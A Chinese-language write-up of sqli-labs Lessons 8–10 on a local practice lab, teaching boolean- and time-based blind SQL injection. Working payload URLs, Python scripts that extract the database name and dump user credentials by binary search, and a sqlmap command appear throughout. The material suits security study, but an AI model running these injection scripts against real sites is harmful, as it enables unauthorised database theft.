sqli-labs less8-10

LESS 8 基于布尔的盲注

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为好几种,本关采用基于布尔的盲注

盲注相关函数:

  • mid(column_name,start[,length])

  •  select mid(12345,2,3);
    +----------------+
    | mid(12345,2,3) |
    +----------------+
    | 234            |
    +----------------+
    
  • substr(string, start, length)/substring(string, start, length)

    • 这两个函数的作用和mid函数是相同的
    • select substr((select username from users limit 0,1),2);
      +--------------------------------------------------+
      | substr((select username from users limit 0,1),2) |
      +--------------------------------------------------+
      | umb                                              |
      +--------------------------------------------------+
      
  • Left(string, n)
    • 从左到右截取string的前n位
  • ascii(string)
    • 返回第一个字符的ascii码值
  • ord(string)
    • 若string第一个字符是单字节字符,则作用和ascii函数相同
    • 若其为多字节,则返回如下格式:
      ((first byte ASCII code)*256+(second byte ASCII code))[*256+third byte ASCII code…]
  • length(string)
    • 返回字符串的长度

回到本关,先输入单引号和双引号进行测试,发现单引号没有返回信息,于是判断参数是被单引号包围,构造payload测试数据库名的第一个字符:

http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1))=1%23

无返回结果,对数据库名的每一个字符都作类似的测试,由于测试量较大,使用脚本来完成测试:

from urllib import request
from urllib import parse
import re

url =  "http://localhost/sqli-labs-master/Less-8/?id="

def  length():
    "查询数据库名的长度"
    length =  0
    while  True:
        #构造动态参数并用quote函数进行url编码
        param =  "1' and length(database())="+str(length)+"#"
        response = request.urlopen(url + parse.quote(param)).read().decode()
        #匹配成功代表长度正确
        if (re.search("You are in...........", response)):
            return length
        #失败则加1继续循环
        else:
            length +=  1
    
def  database():
"查询数据库名"
    dbname =  ""
    for n in  range(length()):
    #对128个ascii码值进行遍历并构造动态参数
        for a in  range(128):
            param =  "1' and ascii(substr(database(),"  +  str(n+1) +  "))="  +  str(a) +  "#"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in...........", response)):
                dbname = dbname +  chr(a)
                break
    return dbname
    
print(database())

 

输出结果为security
对于函数database()可以采用时间复杂度更低的二分法:

def  database():
"查询数据库名"
    dbname =  ""
    for n in  range(length()):
        a, b =  64, 64
        #使用二分法构造动态参数
        while  True:
            b =  int(b/2)
            param =  "1' and ascii(substr(database(),"  +  str(n+1) +  "))<"  +  str(a) +  "#"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in...........", response)):
                a -= b
            else:
                param =  "1' and ascii(substr(database(),"  +  str(n+1) +  "))="  +  str(a) +  "#"
                response = request.urlopen(url + parse.quote(param)).read().decode()
                if (re.search("You are in...........", response)):
                    dbname = dbname +  chr(a)
                    break
                else:
                a += b
    return dbname

 

速度噌的就提上去了,数据结构果然还是要学好
之后我对之前的脚本做了一些修改,使其支持参数化查询,最终的盲注脚本如下:

from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-8/?id="

def getLength(value):
    "查询数据库名的长度"
    length = 0
    while True:
        #构造动态参数并用quote函数进行url编码
        param = "1' and length(" + value + ")="+str(length)+"#"
        response = request.urlopen(url + parse.quote(param)).read().decode()
        #匹配成功代表长度正确
        if (re.search("You are in...........", response)):
            return length
        #失败则加1继续循环
        else:
            length += 1

def getName(value):
    "查询数据库名"
    dbname = ""
    for n in range(getLength(value)):
        a = 64
        b = 64
        #使用二分法构造动态参数
        while True:
            b = int(b/2)
            param = "1' and ascii(substr(" + value + "," + str(n+1) + "))<" + str(a) + "#"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in...........", response)):
                a -= b
            else:
                param = "1' and ascii(substr(" + value + "," + str(n+1) + "))=" + str(a) + "#"
                response = request.urlopen(url + parse.quote(param)).read().decode()
                if (re.search("You are in...........", response)):
                    dbname = dbname + chr(a)
                    break
                else:
                    a += b
    return dbname

print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))

 

输出如下,注入成功:

Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

LESS 9 基于时间的盲注

和上一关不同,第八关只要没有查询到就不会显示“You are in………..”,而本关只要id是有值的就会显示“You are in………..”,没有办法通过页面显示的结果来进行盲注,所以要用到一个特殊的函数sleep(),语法如下:

sleep(seconds)        #函数功能即执行延迟seconds秒

 

还要用到的一个函数

if(condition, a, b)        #如果condition成立,则返回a,否则返回b

 

举个栗子,在本关中构造这样一个payload:

http://localhost/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(3),1)%23

在if函数中,因为1=1当然是成立的,所以执行sleep(3),所以你会看到网页内容大概在3s后才显示出来,如果表达式不成立,网页就会立即显示出来,而1=1的位置则可以放各种表达式

于是,把上一关的脚本稍微改一下就成了本关的盲注脚本:

from urllib import request
from urllib import parse
from time import time

url = "http://localhost/sqli-labs-master/Less-9/?id="

def getLength(value):
    "查询value长度"
    length = 0
    while True:
        #构造动态参数并用quote函数进行url编码
        param = "1' and if(length("+value+")="+str(length)+",sleep(0.1),1)#"
        t = time()      #time函数获取当前时间戳
        request.urlopen(url + parse.quote(param))
        if (time() - t > 0.1):        #时间间隔大于0.1代表长度正确
            return length
        else:       #失败则加1继续循环
            length += 1

def getName(value):
    "查询value名"
    dbname = ""
    for n in range(getLength(value)):
        a = 64
        b = 64
        #使用二分法构造动态参数
        while True:
            b = int(b/2)
            param = "1' and if(ascii(substr("+value+","+str(n+1)+"))<"+str(a)+",sleep(0.1),1)#"
            t = time()
            request.urlopen(url + parse.quote(param))
            if (time() - t > 0.1):
                a -= b
            else:
                param = "1' and if(ascii(substr("+value+","+str(n+1)+"))="+str(a)+",sleep(0.1),1)#"
                t = time()
                request.urlopen(url + parse.quote(param))
                if (time() - t > 0.1):
                    dbname = dbname + chr(a)
                    break
                else:
                    a += b
    return dbname
    
print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))

结果和上一关是一样的

LESS 10 基于时间的盲注(双引号)

题如其名,只要把上一关绕过用的单引号改成双引号就可以盲注成功,这一关源程序和上一关应该就只是单引号双引号的区别而已

脚本请参照第九关


https://soporbear.github.io/2018/05/28/sqli-labs-less8-10/

sqli-labs 平台的 Less-8 关卡是一个典型的布尔盲注(Boolean-based Blind SQL Injection)场景。该关卡没有明确的回显信息,攻击者需要通过页面返回的布尔状态(正常或异常)来判断注入语句是否执行成功,从而逐步推断数据库信息。 ### 解题思路 在 Less-8 中,注入点位于 `id` 参数,使用单引号 `'` 作为闭合方式。注入点的基本形式为: ```http http://localhost/sqli-labs/Less-8/?id=1' ``` #### 1. 判断注入点是否存在 尝试构造布尔表达式来验证注入点是否有效。例如: ```http http://localhost/sqli-labs/Less-8/?id=1' AND 1=1 --+ ``` 如果页面正常显示内容,则说明布尔表达式为真时页面正常;再尝试: ```http http://localhost/sqli-labs/Less-8/?id=1' AND 1=2 --+ ``` 如果页面无内容或出现错误,则确认存在布尔盲注漏洞。 #### 2. 猜解数据库名称长度 通过 `LENGTH(database())` 函数判断当前数据库名称的长度: ```http http://localhost/sqli-labs/Less-8/?id=1' AND LENGTH(database()) > 5 --+ ``` 逐步调整数值,确定数据库名称的具体长度。 #### 3. 猜解数据库名称 使用 `SUBSTR()` 和 `ASCII()` 函数逐字符判断数据库名称: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR(database(),1,1)) > 97 --+ ``` 通过二分法逐步缩小字符范围,最终确定数据库名称。 #### 4. 猜解表名 假设已知数据库名为 `security`,可以使用以下语句获取表名: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1)) > 97 --+ ``` 逐字符获取表名,直到完整识别出目标表(如 `users`)。 #### 5. 猜解列名 获取 `users` 表的列名: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema='security' LIMIT 0,1),1,1)) > 97 --+ ``` 逐字符获取列名,如 `username`、`password` 等。 #### 6. 获取数据 最后,获取具体字段的数据,例如用户名和密码: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1)) > 64 --+ ``` 重复上述步骤,逐字符提取敏感信息。 ### 自动化工具辅助 在实际渗透测试中,可以使用如 **sqlmap** 等工具自动完成上述过程。例如: ```bash sqlmap -u "http://localhost/sqli-labs/Less-8/?id=1" --batch --risk=3 --level=5 --dbs ``` 该命令可自动探测数据库信息,并提取表名和字段内容。 ### 注意事项 - 所有操作应在合法授权范围内进行,避免非法入侵。 - 布尔盲注效率较低,建议结合延时注入(Time-based Blind SQL Injection)提升速度。 - 部分 WAF(Web Application Firewall)可能拦截敏感关键字,需对注入语句进行编码或绕过处理。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值